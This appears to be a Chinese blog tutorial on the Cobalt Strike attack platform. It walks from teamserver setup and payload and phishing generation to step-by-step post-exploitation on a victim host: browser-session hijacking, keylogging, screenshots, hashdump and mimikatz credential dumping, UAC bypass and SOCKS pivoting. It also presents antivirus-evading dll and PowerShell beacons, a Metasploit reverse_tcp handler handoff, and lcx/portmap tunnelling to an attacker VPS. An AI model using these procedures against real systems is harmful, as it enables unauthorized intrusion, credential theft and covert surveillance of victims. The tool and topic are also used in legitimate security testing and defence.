Cobalt Strike是一款渗透测试神器,常被业界人称为CS神器。
Cobalt Strike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,主要是为了方便一个渗透团队内部能够及时共享所有成员的渗透信息,加强成员间的交流协作,提高渗透效率,可被团队进行分布式协团操作。
也就是说,正常情况下一个团队只需要起一个团队服务器即可,团队中的所有成员只需要拿着自己的cs客户端登录到团体服务器就能轻松实现协同作战。当然,实际中可能为了尽可能久的维持住目标机器权限,还会习惯性的多开几个团队服务器,防止出现意外情况。
Cobalt Strike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
简单的说,当我们获取到网站webshell后,下一步就得需要进内网,进行更深一步的渗透操作,那么又这款cs,将会让你无所不及!!建议服务端启在linux或kali中,客户端就windows中。
这次实验我在kali中,首先下载好后,拉到kali中
agscript #拓展应用的脚本
c2lint #用于检查profile的错误异常
teamserver #服务端程序
cobaltstrike,cobaltstrike.jar # 客户端程序(java跨平台)
logs #目录记录与目标主机的相关信息
update,update.jar #用于更新CS
third-party #第三方工具
首先开启服务端
./teamserver 团队服务器ip 设置一个团队服务器密码[别人要用这个密码才能连进来] 配置文件[一般默认即可] [YYYY-MM-DD]
这样我们就把服务端给启动起来了
接着打开客户端,
服务端默认端口时50050,填写好ip和port后,即可连接服务端。
功能介绍
1.Cobalt Strike
Perferences:设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录
Visualization:选择视图的显示方式,有三种,不好解释,亲自用了就会知道了
VPN Interfaces:设置vpn接口
LIsteners:设置监听。最重要的功能,里面有很多监听脚本
2.View
Applications -> 获取浏览器版本信息
Credentials -> 凭证当通过hashdump或者Mimikatz抓取过的密码都会储存在这里。
Downloads -> 下载文件Event Log -> 主机上线记录以及团队协作聊天记录
Keystrokes -> 键盘记录
Proxy Pivots -> 代理模块
Screenshots -> 进程截图
Script Console -> 控制台 更多脚本https://github.com/rsmudge/cortana-scripts
Targets -> 显示目标
Web Log -> Web访问记录
3.Attacks
该模块主要生成攻击payload,是基本每次必使用的功能。
HTML Application 生成恶意的HTA木马文件;
MS Office Macro 生成office宏病毒文件;
Payload Generator 生成各种语言版本的payload;
USB/CD AutoPlay 生成利用自动播放运行的木马文件;
Windows Dropper 捆绑器,能够对文档类进行捆绑;
Windows Executable 生成可执行exe木马;
Windows Executable(S) 生成无状态的可执行exe木马。
Web Drive-by(钓鱼攻击)
Manage 对开启的web服务进行管理;
Clone Site 克隆网站,可以记录受害者提交的数据;
Host File 提供一个文件下载,可以修改Mime信息;
PowerShell Web Delivery 类似于msf 的web_delivery ;
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击;
Smart Applet Attack 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本;
System Profiler 用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等。
Spear Phish 是用来邮件钓鱼的模块。
4.reporting
activity report 活动报告生成
Hosts report 主机报告
Indicators opromisef com 目标报告
Sessions report 会话报告
Social engineering report 社会工程报告
Export data 数据出口
实战操作
登录上来后,能在 event log中看到团队成员的相关信息,可以在这里聊天交友!!!
首先选择监听器
其中Beacon为内置的Listener,即在目标主机执行相应的payload,获取shell到CS上;其中包含DNS、HTTP、SMB。
Foreign为外部结合的Listener,常用于MSF的结合,例如获取meterpreter到MSF上。
接着,去生成我们的payload
我的电脑是x64的系统,所以勾选x64,接着就会生成一个exe文件。
然后想办法放到目标服务器中,执行,接着我们的cs中就能接受到相关的sessions信息,上线的主机默认心跳时间为60s,基本不会产生流量,但可能会出现卡顿,可点击sleep修改心跳时间为0s
右键interact即可进入session,进行相关的操作
shell cmd 即可在目标上执行相关的系统命令
beacon> help shell
beacon>shell ifconfig
beacon>shell whoami
beacon>shell net user
beacon模块之browserpivot命令
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了
beacon>ps //查看浏览器进程,这里进程为2396
beacon>browserpivot 2396 //注入进程,并开启http代理,代理服务器为: 10.0.0.88:62243
本地浏览器设置http代理,host: 10.0.0.88 代理类型为:http 端口为:62243
beacon>browserpivot stop //停止代理
beacon模块之 Socks命令
选择受害者主机,然后右键Pivoting->SOCKS Server,则使用此台计算机开启socks代理
在kali下 配置proxychains的配置文件:
vim /etc/proxychains.conf’
将socks4 127.0.0.1 9050 改为: socks4 127.0.0.1 26370
proxychains firefox ESR //可通过sokcsk5代理访问肉鸡内网
beacon>socks stop //关闭scoks代理
beacon模块之Screenshot&Keylogger
beacon>screenshot //运行屏幕截屏命令
’
然后打开View->Screenshots,则可以看到屏幕截图
beacon>ps //查看系统进程,随便选择一个程序的进程PID
beacon> keylogger 2640 //键盘记录注入进程
打开View->Keystrokes,则可以看到键盘记录结果
beacon模块之powershell-import命令(渗透win2008以及以上)
beacon> powershell-import //导入各种powershell脚本,这里可以导入nishang模块
beacon>powershell posershell脚本名
或者
beacon> powershell Check-VM
beacon模块之密码读取
beacon> sleep 0 //快速显示结果
beacon> wdigest //读取信息
beacon>hashdump //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump
beacon> logonpasswords //运行mimikatz, 右击受害者主机--access- RUN mimikatz
生成一个dll劫持的后门,可反弹shell过杀软。
attackes—windows executable(s)–http Beacon–windows dll(64),生成一个dll文件
在受害者主机上执行:regsvr32 beacon.dll
也可以生成一个powershell的ps文件,也可以bybass 杀软
这里也可以生成一个powershell的ps文件,也可以bybass 360杀软
attackes---windows executable(s)--http Beacon--posershell
在受害者主机上执行:posershell beacon.ps1
与Metasploit进行联动
Cobalt Strike → Metasploit
Cobalt Strike获得了一个上线机器,想把这个机器传给Metasploit中的meterpreter,获得一个session进行控制。在Metasploit执行以下命令:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp #不要用x64的payload
set lhost 192.168.40.129
set lport 63
run -j
之后使用Cobalt Strike创建一个windows/foreign/reverse_tcp的Listener。其中ip为Metasploit的ip地址,端口为Metasploit所监听的端口。
然后选中计算机,右键->Spawn:选择Metasploit的监听器:
这个时候可以看到,Metasploit上的监听已经上线,现在可以对meterpreter获得的session进行控制。
Cobalt strike在内网渗透中的使用
其实通过cobalt strike 有可能实现提权,利用Bypass UAC(亲测在一次测试任务中,2012服务器各种脚本上去无法提权,但是利用bypass uac成功拿下)。
点击目标,右键 -> access -> bypass uac ,然后等一下,下面就会给出提示是否成功,而且成功以后,会在上面的列表上新生成一个在user上带有*号的主机,如下图。
现在我们就可以抓密码了,莫慌,在cobalt strike 也集成了mimikatz,在access ->run mimikatz,然后就可以看到抓下来的密码。
如果不想自己找账号密码,可以在credentials中查看,很方便。
在内网渗透中,在有shell的机器上部署一个socks,就可以利用本地的工具进行渗透内网,所以cobalt strike也集成了该功能,prvoiing ->socks server 建立成功后,会在下面显示:
通过proxychains 代理进行内网渗透。
当然,作为一款强大的协同工作平台+渗透利器,怎么会没有一些常见的扫描功能。
cobalt strike集成了端口扫描,位置在explore ->port scan。
默认扫描的为 /24,可以选择多种扫描方式。
我们还可以通过explore -> net view 来进行内网存活主机探测
的时候,我们需要进入内网机器,比如有一些软件需要在桌面的环境下打开,或者一些管理员会在桌面放一些东西,cobalt strike也想到了这个问题,所以我们也可以通过这个来进入桌面环境。
在explore -> desktop(vnc)点击等待就可以看到,但是也有一些问题,由于是http传输,速度非常慢,而且可能连不上,但是我们可以通过lcx(windows)或portmap(linux)进行端口转发,来得到一个桌面环境,这样是比较稳定的。给出命令:
shell是一台windows,vps是linux。
在win下执行:
lcx -slave vps_ip port local_ip port1
在vps下执行:
./portmap -m 2 -p1 port -h2 vps_ip -p2 7777
然后我们只需要在本地远程连接vps_ip:7777 就可以远程连接内网主机。